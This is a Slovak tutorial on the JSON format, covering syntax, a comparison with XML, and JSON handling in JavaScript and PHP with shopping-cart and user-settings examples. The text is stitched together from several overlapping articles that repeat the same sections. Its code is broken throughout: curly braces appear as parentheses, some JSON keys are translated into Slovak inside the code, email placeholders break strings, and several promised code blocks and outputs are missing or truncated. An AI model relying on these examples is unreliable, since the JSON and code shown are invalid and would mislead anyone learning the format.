jazyk json. JSON: Základy

Určite ste už niekedy počuli o JSON. Čo je to? Čo dokáže a ako ho používať?

V tomto návode preberieme základy JSON a pokryjeme nasledujúce body:

  • Čo je JSON?
  • Na čo sa používa JSON?
  • Ako vytvoriť reťazec JSON?
  • Jednoduchý príklad reťazca JSON.
  • Porovnajme JSON a XML.
  • Ako pracovať s JSON v JavaScripte a PHP?
Čo je JSON?

JSON je jednoduchý textový spôsob ukladania a prenosu štruktúrovaných údajov. Pomocou jednoduchej syntaxe môžete jednoducho uložiť čokoľvek od jedného čísla po reťazce, polia a objekty v obyčajnom texte. Môžete tiež prepojiť polia a objekty a vytvoriť tak zložité dátové štruktúry.

Po vytvorení reťazca JSON je ľahké ho odoslať do inej aplikácie alebo na iné miesto v sieti, pretože ide o obyčajný text.

JSON má nasledujúce výhody:

  • Je kompaktný.
  • Jeho vety sú ľahko čitateľné a skladajú ich ľudia aj počítače.
  • Dá sa ľahko previesť na dátovú štruktúru pre väčšinu programovacích jazykov (čísla, reťazce, booleany, polia atď.)
  • Mnoho programovacích jazykov má funkcie a knižnice na čítanie a vytváranie štruktúr JSON.

Názov JSON je skratka pre JavaScript Object Notation. Ako už názov napovedá, je založený na spôsobe definovania objektov (podobne ako vytváranie asociatívnych polí v iných jazykoch) a polí.

Na čo sa používa JSON?

Najbežnejším použitím JSON je odosielanie údajov zo servera do prehliadača. Údaje JSON sa zvyčajne doručujú pomocou technológie AJAX, ktorá umožňuje prehliadaču a serveru komunikovať bez nutnosti opätovného načítania stránky.

  • Používateľ klikne na miniatúru produktu v internetovom obchode.
  • JavaScript spustený v prehliadači generuje požiadavku AJAX na PHP skript bežiaci na serveri a odovzdáva ID vybraného produktu.
  • PHP skript získa názov produktu, popis, cenu a ďalšie informácie z databázy. Potom z údajov poskladá reťazec JSON a odošle ho prehliadaču.
  • JavaScript spustený v prehliadači prijme reťazec JSON, dekóduje ho a používateľovi zobrazí informácie o produkte na stránke.
  • JSON môžete použiť aj na odosielanie údajov z prehliadača na server odoslaním reťazca JSON ako parametra do požiadaviek GET alebo POST. Táto metóda je však menej bežná, pretože prenos údajov prostredníctvom požiadaviek AJAX možno zjednodušiť. Napríklad ID produktu môže byť zahrnuté do adresy URL ako súčasť požiadavky GET.

    Knižnica jQuery má niekoľko metód, ako napríklad getJSON() a parseJSON(), ktoré uľahčujú získavanie údajov pomocou JSON prostredníctvom požiadaviek AJAX.

    Ako vytvoriť reťazec JSON?

    Existuje niekoľko základných pravidiel na vytvorenie reťazca JSON:

    • Reťazec JSON obsahuje buď pole hodnôt, alebo objekt (asociatívne pole párov názov/hodnota).
    • Pole je uzavretý v hranatých zátvorkách ([ a ]) a obsahuje zoznam hodnôt oddelených čiarkami.
    • Objekt je uzavretý v zložených zátvorkách (( a )) a obsahuje čiarkami oddelený zoznam párov názov/hodnota.
    • pár meno/hodnota pozostáva z názvu poľa v dvojitých úvodzovkách, za ktorým nasleduje dvojbodka (:) a hodnota poľa.
    • Význam v poli alebo objekte môže byť:
      • Číslo (celé číslo alebo s pohyblivou rádovou čiarkou)
      • Reťazec (v úvodzovkách)
      • Boolovská hodnota (pravda alebo nepravda)
      • Ďalšie pole (uzavreté v hranatých zátvorkách)
      • Ďalší objekt (uzavretý v zložených zátvorkách)
      • nulovú hodnotu

    Ak chcete do reťazca vložiť dvojité úvodzovky, musíte použiť spätnú lomku: \" . Rovnako ako v mnohých programovacích jazykoch môžete do reťazca vložiť riadiace znaky a hexadecimálne kódy tak, že pred nimi dáte opačnú lomku. Podrobnosti nájdete na webovej lokalite JSON.

    Jednoduchý príklad reťazca JSON

    Nižšie je uvedený príklad objednávania vo formáte JSON:

    ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail chránený]", "contents": [ ( "productID": 34, "productName": "super produkt", "množstvo": 1 ), ( "productID": 56, "productName": "zázračný produkt", "množstvo": 3) ], "orderCompleted": true )

    Pozrime sa na riadok podrobne:

    • Objekt vytvoríme pomocou zložených zátvoriek (( ​​a )).
    • Objekt má niekoľko párov názov/hodnota: "orderID": 12345 vlastnosť s názvom "orderId" a celočíselnou hodnotou 12345 "shopperName": "Vanya Ivanov" vlastnosť s názvom "shopperName" a hodnotou reťazca "Vanya Ivanov" " "shopperEmail": " [e-mail chránený]" Vlastnosť s názvom "shopperEmail" s hodnotou reťazca " [e-mail chránený]" "contents": [ ... ] Vlastnosť s názvom "contents", ktorej hodnota je pole "orderCompleted": true Vlastnosť s názvom "orderCompleted" a boolovská hodnota true
    • V poli "contents" sú 2 objekty reprezentujúce jednotlivé položky v objednávke. Každý objekt obsahuje 3 vlastnosti: productID , productName a množstvo .

    Mimochodom, keďže JSON je založený na deklarovaní objektov JavaScriptu, môžete z vyššie uvedeného reťazca JSON rýchlo a jednoducho urobiť objekt JavaScriptu:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail chránený]", "contents": [ ( "productID": 34, "productName": "super produkt", "množstvo": 1 ), ( "productID": 56, "productName": "zázračný produkt", "množstvo": 3 ) ], "objednávka dokončená": true);

    Porovnanie JSON a XML

    V mnohých ohľadoch si môžete predstaviť JSON ako alternatívu k XML, aspoň v priestore webových aplikácií. Koncept AJAX bol pôvodne založený na použití XML na prenos údajov medzi serverom a prehliadačom. V posledných rokoch sa však JSON stáva čoraz populárnejším na prenos údajov AJAX.

    Zatiaľ čo XML je osvedčená technológia, ktorá sa používa vo veľkom množstve aplikácií, JSON má výhodu kompaktnejšieho a ľahšie rozpoznateľného dátového formátu.

    Takto by vyzeral vyššie uvedený príklad objektu v XML:

    orderID 12345 shopperMeno Vanya Ivanov shopperEmail [e-mail chránený] obsah produktID 34 produktNazov Super množstvo produktu 1 produktID 56 produktNazov Miracle množstvo produktu 3 objednávkaSplnená pravda

    Verzia XML je podstatne väčšia. V skutočnosti má 1128 znakov, zatiaľ čo verzia JSON má len 323 znakov. Verzia XML je tiež dosť náročná na pochopenie.

    Samozrejme, toto je radikálny príklad. A je možné vytvoriť kompaktnejší XML záznam. Ale aj to bude výrazne dlhšie ako ekvivalent JSON.

    Práca s reťazcom JSON v JavaScripte

    JSON má jednoduchý formát, ale manuálne vytváranie reťazca JSON je dosť únavné. Okrem toho často potrebujete vziať reťazec JSON, previesť jeho obsah na premennú, ktorú možno použiť v kóde.

    Väčšina programovacích jazykov má nástroje na jednoduchú konverziu premenných na reťazce JSON a naopak.

    Vytvorenie reťazca JSON z premennej

    JavaScript má vstavanú metódu JSON.stringify(), ktorá berie premennú a vracia reťazec JSON predstavujúci jej obsah. Napríklad vytvorte objekt JavaScript, ktorý obsahuje informácie o objednávke z nášho príkladu, a potom z neho vytvorte reťazec JSON:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail chránený]", "contents": [ ( "productID": 34, "productName": "super produkt", "množstvo": 1 ), ( "productID": 56, "productName": "zázračný produkt", "množstvo": 3 ) ], "orderCompleted": true );

    Tento kód vytvorí:

    Všimnite si, že metóda JSON.stringify() vracia reťazec JSON bez medzier. Je ťažšie čitateľný, ale na prenos po sieti je kompaktnejší.

    Existuje niekoľko spôsobov, ako analyzovať reťazec JSON v jazyku JavaScript, ale najbezpečnejšie a najspoľahlivejšie je použiť vstavanú metódu JSON.parse(). Prijme reťazec JSON a vráti objekt alebo pole JavaScriptu, ktoré obsahuje údaje. Napríklad:

    var jsonString = " \ ( \ "ID objednávky": 12345, \ "názov nakupujúceho": "Vanya Ivanov", \ "e-mail nakupujúceho": " [e-mail chránený]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Super produkt", \ "množstvo": 1 \), \ ( \ "productID": 56, \ "productName": "Zázračný tovar", \"množstvo": 3\ ) \ ], \"objednávka dokončená": pravda \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

    Vytvorili sme premennú jsonString, ktorá obsahuje reťazec JSON našej vzorovej objednávky. Tento reťazec potom odovzdáme metóde JSON.parse(), ktorá vytvorí objekt obsahujúci údaje JSON a uloží ich do premennej košíka. Zostáva len skontrolovať zobrazením vlastností objektu shopperEmail a productName poľa obsahu.

    V dôsledku toho dostaneme nasledujúci výstup:

    V skutočnej aplikácii by váš kód JavaScript prijal objednávku ako reťazec JSON v odpovedi AJAX zo serverového skriptu, odovzdal reťazec metóde JSON.parse() a potom by údaje použil na zobrazenie na stránke používateľa.

    JSON.stringify() a JSON.parse() majú ďalšie možnosti, ako napríklad použitie funkcií spätného volania na vlastnú konverziu určitých údajov. Takéto možnosti sú veľmi užitočné pri konverzii rôznych údajov na správne objekty JavaScript.

    Práca s reťazcom JSON v PHP

    PHP, podobne ako JavaScript, má vstavané funkcie na prácu s reťazcami JSON.

    Vytvorenie reťazca JSON z premennej PHP

    Funkcia json_encode() berie premennú PHP a vracia reťazec JSON predstavujúci obsah premennej. Tu je náš príklad objednávky napísaný v PHP:

    Tento kód vracia presne rovnaký reťazec JSON ako v príklade JavaScriptu:

    ("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [e-mail chránený]","contents":[("productID":34,"productName":"Super produkt","quantity":1),("productID":56,"productName":"Zázračný produkt","množstvo": 3)],"orderCompleted":true)

    V skutočnej aplikácii váš PHP skript odošle tento reťazec JSON ako súčasť odpovede AJAX do prehliadača, kde ho kód JavaScript pomocou metódy JSON.parse() analyzuje späť do premennej, ktorá sa zobrazí na stránke používateľa. .

    Funkcii json_encode() môžete ako druhý argument odovzdať rôzne príznaky. S ich pomocou môžete zmeniť princípy kódovania obsahu premenných do reťazca JSON.

    Vytvorte premennú z reťazca JSON

    Ak chcete konvertovať reťazec JSON na premennú PHP, použite metódu json_decode(). Nahraďte náš príklad pre JavaScript metódou JSON.parse() kódom PHP:

    Rovnako ako v prípade JavaScriptu tento kód vytvorí:

    [e-mail chránený] Zázračný produkt

    Funkcia json_decode() štandardne vracia objekty JSON ako objekty PHP. Existujú všeobecné objekty PHP triedy stdClass. Preto používame -> na prístup k vlastnostiam objektu v príklade vyššie.

    Ak potrebujete objekt JSON ako pridružené pole PHP, musíte funkcii json_decode() odovzdať hodnotu true ako druhý argument. Napríklad:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    Tento kód vytvorí rovnaký výstup:

    [e-mail chránený] Zázračný produkt

    Funkcii json_decode() môžete tiež odovzdať ďalšie argumenty na určenie hĺbky rekurzie a spôsobu spracovania veľkých celých čísel.

    Záver

    Aj keď je JSON ľahko pochopiteľný a použiteľný, je to veľmi užitočný a flexibilný nástroj na prenos dát medzi aplikáciami a počítačmi, najmä pri použití AJAX. Ak plánujete vyvinúť aplikáciu AJAX, potom niet pochýb o tom, že JSON sa stane nevyhnutným nástrojom vo vašej dielni.

    Čo je JSON a čo dokáže? V tomto článku sa dozviete, ako používať JSON na jednoduchú prácu s údajmi. Pozrieme sa aj na to, ako pracovať s JSON pomocou PHP a JavaScriptu.

    Ak ste vyvíjali webové stránky alebo webové aplikácie vo všeobecnosti, je pravdepodobné, že ste o JSON aspoň zbežne počuli. Ale čo presne znamená JSON? Čo dokáže tento dátový formát a ako ho možno použiť?

    V tomto článku sa naučíme základy práce s formátom json. Budeme sledovať nasledujúce témy:

    • Čo je formát JSON?
    • Ako vytvoriť reťazce JSON?
    • Jednoduchý príklad údajov JSON
    • Porovnanie JSON s XML

    Začnime!

    Čo je formát JSON?

    JSON je jednoduchý textový spôsob ukladania a prenosu štruktúrovaných údajov. Pomocou jednoduchej syntaxe môžete jednoducho ukladať jednoduché čísla a reťazce, ako aj polia a objekty, pričom nepoužívate nič viac ako text. Môžete tiež prepojiť objekty a polia, čo vám umožní vytvárať zložité dátové štruktúry.

    Po vytvorení reťazca JSON ho možno jednoducho odoslať do ľubovoľnej aplikácie alebo počítača, pretože ide len o text.

    JSON má mnoho výhod:

    • Je kompaktný
    • Je čitateľný pre ľudí a ľahko čitateľný počítačmi
    • Dá sa ľahko previesť do softvérových formátov: číselné hodnoty, reťazce, booleovský formát, nulová hodnota, polia a asociatívne polia.
    • Takmer všetky programovacie jazyky majú funkcie, ktoré vám umožňujú čítať a vytvárať formát údajov json.

    Doslova skratka JSON znamená JavaScript Object Notation. Ako už bolo popísané vyššie, tento formát je založený na vytváraní objektov, niečo podobné ako asociatívne polia v iných programovacích jazykoch.

    Na aké účely sa používa JSON?

    Json sa používa predovšetkým na výmenu údajov medzi javascriptom a serverom (php). Inými slovami, pre technológiu ajax. To je veľmi výhodné, keď odovzdávate viacero premenných alebo celé dátové polia.

    V príklade to vyzerá takto:

  • Používateľ klikne na miniatúrny obrázok
  • JavaScript spracuje túto udalosť a odošle požiadavku ajax do skriptu PHP, pričom odovzdá ID obrázka.
  • Na serveri php dostane popis obrázka, názov obrázka, adresu veľkého obrázka a ďalšie informácie z databázy. Po prijatí ho skonvertuje do formátu JSON a odošle späť na stránku používateľa.
  • JavaScript dostane odpoveď vo forme JSON, spracuje dáta, vygeneruje html kód a zobrazí zväčšený obrázok s popisom a ďalšími informáciami.
  • Takto sa obrázok zväčší bez opätovného načítania stránky v prehliadači. To je veľmi výhodné, keď potrebujeme prijať čiastočné dáta alebo preniesť malé množstvo informácií na server.

    Obľúbený jQuery všetkých má funkcie getJSON() a parseJSON(), ktoré vám pomôžu pracovať s formátom prostredníctvom ajaxových požiadaviek.

    Ako vytvoriť reťazce JSON?


    Nižšie sú uvedené základné pravidlá vytvárania reťazcov JSON:

    • Reťazec JSON obsahuje pole hodnôt aj objekt (asociatívne pole s pármi názov/hodnota).
    • Pole musí byť zabalené v hranatých zátvorkách [ a ] ​​a môže obsahovať zoznam hodnôt, ktoré sú oddelené čiarkou.
    • Objekty sú zabalené pomocou zložených ramien ( a ) a tiež obsahujú páry názov/hodnota oddelené čiarkou.
    • Páry názov/hodnota pozostávajú z názvu poľa (v úvodzovkách), za ktorým nasleduje dvojbodka (:), za ktorou nasleduje hodnota poľa.
    • Hodnoty v poli alebo objekte môžu byť:
      • Číselné (celé číslo alebo bodkovaný zlomok)
      • Reťazce (zabalené v úvodzovkách)
      • Boolean (pravda alebo nepravda)
      • Iné polia (zabalené v hranatých zátvorkách [ a ])
      • Iné predmety (zabalené do kučeravých ramien ( a ))
      • Nulová hodnota

    Dôležité!

    Ak v hodnotách používate dvojité úvodzovky, zadajte ich opačnou lomkou: \“. Môžete použiť aj hexadecimálne kódované znaky, rovnako ako v iných programovacích jazykoch.

    Jednoduchý príklad údajov JSON

    Nasledujúci príklad ukazuje, ako môžete uložiť údaje do „košíka“ internetového obchodu pomocou formátu JSON: [e-mail chránený]("orderID": 12345, "shopperName": "John Smith", "shopperEmail": "

    ", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true )

  • Poďme si tieto údaje rozobrať kúsok po kúsku:
  • Na začiatku a na konci použijeme kučeravé ramená ( a ), aby bolo jasné, že ide o objekt.
  • Vo vnútri objektu máme niekoľko párov názov/hodnota:
  • "orderID": 12345 - pole s názvom orderId a hodnotou 12345
  • "shopperName": "John Smith" - pole s názvom shopperName a hodnota John Smith
  • "shopperEmail": "johnsmith@ example.com" - podobne ako v predchádzajúcom poli je tu uložený e-mail kupujúceho.
  • "contents": [ ... ] - pole s názvom content, ktorého hodnotou je pole.
  • "orderCompleted": true - pole s názvom orderCompleted, ktorého hodnota je true
  • Vo vnútri poľa content máme dva objekty, ktoré zobrazujú obsah košíka. Každý objekt produktu má tri vlastnosti: productID, productName, množstvo.

    Nakoniec, keďže JSON je identický s objektmi v JavaScripte, môžete si jednoducho vziať tento príklad a vytvoriť z neho objekt JavaScript: [e-mail chránený] var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": "

    ", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true );

    Porovnanie JSON s XML

    Hoci je XML osvedčenou technológiou, ktorú používa mnoho aplikácií, výhody formátu JSON spočívajú v tom, že je kompaktnejší a ľahšie sa píše a číta.

    Tu je vyššie uvedený príklad JSON, prepísaný iba vo formáte XML:

    orderID 12345 shopperName John Smith shopperEmail [e-mail chránený] obsah productID 34 productName SuperWidget množstvo 1 productID 56 productName WonderWidget množstvo 3 orderCompleted true

    Ako vidíte, je niekoľkonásobne dlhší ako JSON. V skutočnosti má tento príklad 1128 znakov, zatiaľ čo verzia JSON má iba 323 znakov. Verzia XML je tiež náročnejšia na čítanie.

    Prirodzene, nemožno súdiť len podľa jedného príkladu, ale aj malé množstvo informácií zaberá menej miesta vo formáte JSON ako v XML.

    Ako pracovať s JSON cez PHP a JS?

    Teraz sa dostávame k najzaujímavejšej časti – praktickej stránke formátu JSON. Najprv vzdajme hold JavaScriptu a potom uvidíme, ako môžete manipulovať s JSON prostredníctvom PHP.

    Vytváranie a čítanie formátu JSON pomocou JavaScriptu


    Aj keď je formát JSON jednoduchý, pri vývoji webových aplikácií je ťažké písať ručne. Navyše často musíte konvertovať reťazce JSON na premenné a potom ich použiť vo svojom kóde.

    Našťastie veľa programovacích jazykov poskytuje nástroje na prácu s reťazcami JSON. Hlavnou myšlienkou je:

    Ak chcete vytvoriť reťazce JSON, začnete s premennými obsahujúcimi nejaké hodnoty a potom ich prenesiete cez funkciu, ktorá zmení údaje na reťazec JSON.

    Pri čítaní reťazcov JSON začínate reťazcom JSON obsahujúcim určité údaje, prechádzate reťazcom cez funkciu, ktorá vytvára premenné obsahujúce údaje.

    Pozrime sa, ako sa to robí v JavaScripte.

    Vytvorenie reťazca JSON z premennej JavaScriptu

    JavaScript má vstavanú metódu JSON.stringify(), ktorá berie premennú javascriptu a vracia reťazec json predstavujúci obsah premennej. Použime napríklad predtým vytvorený objekt a skonvertujme ho na reťazec JSON.

    Nakoniec, keďže JSON je identický s objektmi v JavaScripte, môžete si jednoducho vziať tento príklad a vytvoriť z neho objekt JavaScript: [e-mail chránený]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true );

    Toto sa objaví na obrazovke:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [e-mail chránený]", "contents":[("productID":34,"productName":"SuperWidget","quantity":1), ("productID":56,"productName":"WonderWidget","quantity":3) ], "objednávka dokončená":true)

    Všimnite si, že JSON.stringify() vypíše reťazce JSON bez medzier. Je ťažko čitateľný, ale je kompaktnejší, čo je dôležité pri odosielaní dát.

    Vytvorenie premennej JavaScript z reťazca JSON

    Existuje niekoľko spôsobov, ako analyzovať reťazce JSON, najprijateľnejším a najbezpečnejším je použitie metódy JSON.parse(). Prevezme reťazec JSON a vráti objekt alebo pole JavaScriptu obsahujúce údaje JSON. Tu je príklad:

    var jsonString = " \ ( \ "ID objednávky": 12345, \ "názov nakupujúceho": "John Smith", \ "e-mail nakupujúceho": " [e-mail chránený]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "množstvo": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \"množstvo": 3\ ) \ ], \"objednávka dokončená": pravda \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

    Tu sme vytvorili premennú jsonString, ktorá obsahuje reťazec JSON z vyššie uvedených príkladov. Potom sme tento reťazec odovzdali cez JSON.parse(), aby sme vytvorili objekt obsahujúci dáta JSON, ktorý bol uložený v premennej košíka. Nakoniec skontrolujeme dostupnosť údajov a zobrazíme niektoré informácie pomocou výstražného modálneho okna.

    Zobrazia sa nasledujúce informácie:

    V skutočnej webovej aplikácii by váš kód JavaScript mal dostať reťazec JSON ako odpoveď zo servera (po odoslaní požiadavky AJAX), potom reťazec analyzovať a zobraziť obsah košíka používateľovi.

    Vytváranie a čítanie formátu JSON pomocou PHP

    PHP, podobne ako JavaScript, má funkcie, ktoré vám umožňujú konvertovať premenné do formátu JSON a naopak. Pozrime sa na ne.

    Vytvorenie reťazca JSON z premennej PHP

    Json_encode() berie premennú PHP a vracia reťazec JSON predstavujúci údaje premennej. Tu je náš príklad „košíka“ napísaného v PHP:

    Tento kód vytvára presne rovnaký výsledok ako príklad JavaScriptu – platný reťazec JSON predstavujúci obsah premenných:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [e-mail chránený]","contents":[("productID":34,"productName":"SuperWidget","quantity":1),("productID":56,"productName":"WonderWidget","quantity":3) ],"orderCompleted":true)

    V skutočnosti by váš PHP skript mal poslať reťazec JSON ako odpoveď na požiadavku AJAX, kde JavaScript použije JSON.parse() na premenu reťazca na premenné.

    Vo funkcii json_encode() môžete zadať ďalšie parametre, ktoré vám umožnia konvertovať niektoré znaky na hex.

    Vytvorenie premennej PHP z reťazca JSON

    Podobne ako vyššie uvedené, existuje funkcia json_decode(), ktorá vám umožňuje dekódovať reťazce JSON a vložiť obsah do premenných.

    Rovnako ako v prípade JavaScriptu, tento kód vypíše nasledovné:

    [e-mail chránený] WonderWidget

    Štandardne json_decode() vracia objekty JSON ako objekty PHP. Podobne ako v bežnej syntaxi používame -> na prístup k vlastnostiam objektu.

    Ak neskôr budete chcieť použiť údaje ako asociatívne pole, jednoducho odovzdajte druhý parameter true do funkcie json_decode(). Tu je príklad:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    Výsledkom je rovnaký výsledok:

    [e-mail chránený] WonderWidget

    Funkcii json_decode() môžete tiež odovzdať ďalšie argumenty na určenie spracovania veľkých čísel a rekurzie.

    Na záver o formáte JSON

    Ak sa chystáte vytvárať webovú aplikáciu pomocou technológie Ajax, určite využijete formát JSON na výmenu dát medzi serverom a prehliadačom.


    JSON je textový formát na zaznamenávanie údajov. Umožňuje vám reprezentovať v textovej forme jedno číslo alebo reťazec, ako aj zložité štruktúry, napríklad polia s údajmi. Používanie tohto formátu záznamu je pohodlné, pretože je čitateľný a intuitívny a zároveň vám umožňuje ukladať veľmi zložité dátové štruktúry. Navyše je kompaktnejší ako xml, takže je podľa mňa vhodnejší na výmenu dát medzi webovým prehliadačom a serverom.

    Syntax JSON s príkladmi

    Formát json sa zvyčajne píše v 2 variantoch:

    1. Postupnosť hodnôt. Napríklad sekvencia 10, 15 a „test“ vo formáte JSON by vyzerali takto:

    2. Záznam vo forme párov kľúč: hodnota. Napríklad:

    („Celé meno“: „Ivanov Sergey“, „Dátum narodenia“: „03/09/1975“)

    Trochu zložitejší príklad:

    ("Celé meno": "Ivanov Sergey", "Adresa": ("Mesto": "Moskva", "Ulica": "Pjatnitskaja", "Dom": "35") )

    PHP funkcie pre prácu s formátom JSON

    V jazyku PHP od verzie 5.2. má len 4 funkcie:

    • json_decode – dekóduje reťazec JSON (získa údaje z reťazca formátu json)
    • json_encode – vráti JSON reprezentáciu údajov (konvertuje údaje na reťazec json)
    • json_last_error_msg – vráti reťazec označujúci chybové hlásenie posledného volania funkcie json_encode() alebo json_decode()
    • json_last_error – vráti poslednú chybu

    V zásade sa väčšinou používajú iba dve funkcie: json_encode a json_decode. Nebudem zachádzať do podrobností o ich syntaxi, ďalšie podrobnosti nájdete na php.net. Príklad použitia:

    $arr1 = pole(0,1,2); $json_str = json_encode($arr1); echo $json_str; // vypíše reťazec json: $arr2 = json_decode($json_str); echo $arr2; // vypíše: 1

    Upozornenie: pri kódovaní údajov v ruštine do formátu JSON funkcia json_encode konvertuje ruské znaky na Unicode, t.j. nahradí ich reťazcom \uXXXX a tým sa reťazec json stane pre ľudí nečitateľným (ale zrozumiteľným pre prehliadač). Ak sa chcete vyhnúť konverzii do Unicode (napríklad pri ladení kódu), môžete jednoducho použiť možnosť JSON_UNESCAPED_UNICODE.

    Aby sa počas kódovania nepridávali lomky a reťazce s číslami boli kódované ako čísla, môžete použiť JSON_UNESCAPED_SLASHES a JSON_NUMERIC_CHECK. V dôsledku toho, aby bol reťazec json čitateľný pre ľudí, urobíme napríklad toto:

    $arr = array("fio" => "Ivanov Sergey", "vek" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    Bez použitia týchto možností by riadok vyzeral takto:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "vek": "32", "vk_/url" /vk.com\/id11111" )

    a pomocou možností dostaneme čitateľný riadok:

    ( "fio" : "Ivanov Sergey", "vek" : 32, "vk_url" : "https://vk.com/id11111" )

    Ešte jeden bod: ak chcete, aby funkcia json_decode vrátila pole pri dekódovaní reťazca json, pridajte do funkcie druhý parameter rovný true.

    $json_str = "( "a":1, "b":2, "c":3)"; $obj = json_decode($json_str); // získame echo objektu $obj->a; // vypíše 1 $arr = json_decode($json_str, true); // získame asociatívne pole echo $arr["a"]; // vytlačí 1

    Týmto končím môj prehľad funkcií PHP.

    JavaScript funkcie pre prácu s formátom JSON

    Začnime tým, že formát JSON bol pôvodne vynájdený pre jazyk JavaScript a potom sa stal jednoducho samostatným textovým formátom používaným v rôznych jazykoch. Zrejme preto je syntax JSON veľmi podobná syntaxi na písanie bežných objektov a polí.

    // Príklad poľa v JavaScripte arr = ; upozornenie(arr); // zobrazí 1 // Príklad objektu v JavaScripte obj = ( "meno": "Vasya", "vek": 35, "isAdmin": false ) alert(obj.name); // vytlačí "Vasya"

    Funkcie JavaScriptu používané na konverziu do a z formátu JSON:

    • JSON.parse - dekódovanie reťazca JSON (konvertovanie reťazca na objekty a/alebo polia)
    • JSON.stringify – vracia JSON reprezentáciu údajov (prevádza objekty a/alebo polia na reťazec json)

    Jednoduchý príklad dekódovania reťazca json do poľa s číslami:

    Str = ""; arr = JSON.parse(str); upozornenie(arr); // vytlačí 1

    Príklad prevodu (serializácie) objektu na reťazec JSON:

    Obj = ( "meno": "Vasya", "vek": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // zobrazí ("name":"Vasya","age":35,"isAdmin":false)

    Pri serializácii (konvertovaní) objektu na reťazec JSON sa zavolá metóda toJSON tohto objektu, ak existuje. Ak neexistuje žiadna metóda, zobrazia sa všetky vlastnosti objektu. Príklad konverzie objektu pomocou metódy toJSON:

    Obj = ( "meno": "Vasya", "vek": 35, "isAdmin": false, toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // vytlačí 35

    Príklady praktického použitia formátu JSON

    V skutočnosti osobne používam formát JSON v 2 hlavných situáciách:

    1. Prenos údajov medzi prehliadačom a serverom pomocou požiadaviek Ajax.

    Napríklad máme stránku, na ktorej musíme aktualizovať údaje bez opätovného načítania stránky. Povedzme, že potrebujete informácie so zoznamom zamestnancov a ich údajmi, ktoré sa majú „stiahnuť“ zo servera.

    V JavaScripte pomocou jQuery to zjednodušujeme a v prehliadači zobrazujeme údaje vo forme tabuľky:

    $.getJSON("get-info.php").success(function(data) ( // požiadavka ajax, dáta zo servera budú zapísané do dátovej premennej htmlstr = "

    "; for (var i=0; i "Ivanov Sergey", "narodeniny" => "03/09/1975"); $user_info = pole ("fio" => "Alexej Petrov", "narodeniny" => " 18.09.1983"); echo json_encode($user_info); exit;

    V tomto príklade bol reťazec JSON, ktorý bol odovzdaný zo servera do prehliadača, takýto:

    [("fio":"Sergej Ivanov","narodeniny":"03/09/1975"),("fio":"Alexej Petrov","narodeniny":"18.09.1983")]

    Zámerne som neukázal čiaru vo forme „stromu“, pretože prenáša sa presne v tejto forme. A ako iste oceníte, záznam údajov vo formáte JSON sa ukázal byť veľmi kompaktný, čo znamená, že prenos týchto údajov zo servera do prehliadača bude takmer okamžitý.

    2. Zápis zložitých dátových štruktúr do databázy.

    Niekedy nastávajú situácie, kedy nie je vhodné vytvárať v databáze ďalšiu tabuľku na uloženie rôznych údajov. Povedzme, že používateľ registrovaný na stránke má možnosť prispôsobiť si farbu pozadia a farbu textu.

    Namiesto vytvorenia ďalšej tabuľky pre 2 nastavenia môžete jednoducho vytvoriť textový stĺpec v tabuľke so zoznamom používateľov, do ktorého umiestnite údaje používateľských nastavení. Potom by žiadosť o aktualizáciu nastavení mohla vyzerať napríklad takto:

    AKTUALIZOVAŤ nastavenia SET používateľov = "("farba pozadia":"#FFFFFF", "farba textu":"#000000")" WHERE user_id = 10

    V budúcnosti, po prijatí informácií z tabuľky používateľov, ich môže php skript ľahko premeniť späť na pole s nastaveniami. Napríklad, ak premenná $user_info obsahuje údaje získané pre používateľa z tabuľky používateľov, získanie poľa s nastaveniami je veľmi jednoduché:

    $settings = json_decode($user_info["nastavenia"], true); echo "Farba pozadia = ".$settings["farba-pozadia"]; echo "Farba textu = ".$settings["farba textu"];

    Vo formáte JSON môžete tiež napríklad zaznamenať do databázy, ktoré možnosti produktu si kupujúci vybral.

    ("15":["45","47"], "18":"52") // možnosť 15 má vybraté hodnoty 45 a 47 a možnosť 18 má vybratú hodnotu 52

    V zásade môžete dokonca celý obsah košíka napísať vo formáte JSON, napríklad takto:

    ( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "množstvo" : 1, "price" : 1500 ), ( "product_id" : 16, "options" : ( "15" : , "18" : 51 ), "množstvo" : 2, "price" : 1000 ) ] )

    Vo svojej obvyklej nestromovej forme by tento reťazec JSON vyzeral takto:

    ("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":,"18":52),,"množstvo":1 , "price":1500),("product_id":16,"options":("15":,"18":51),,"quantity":2,"price":1000)])

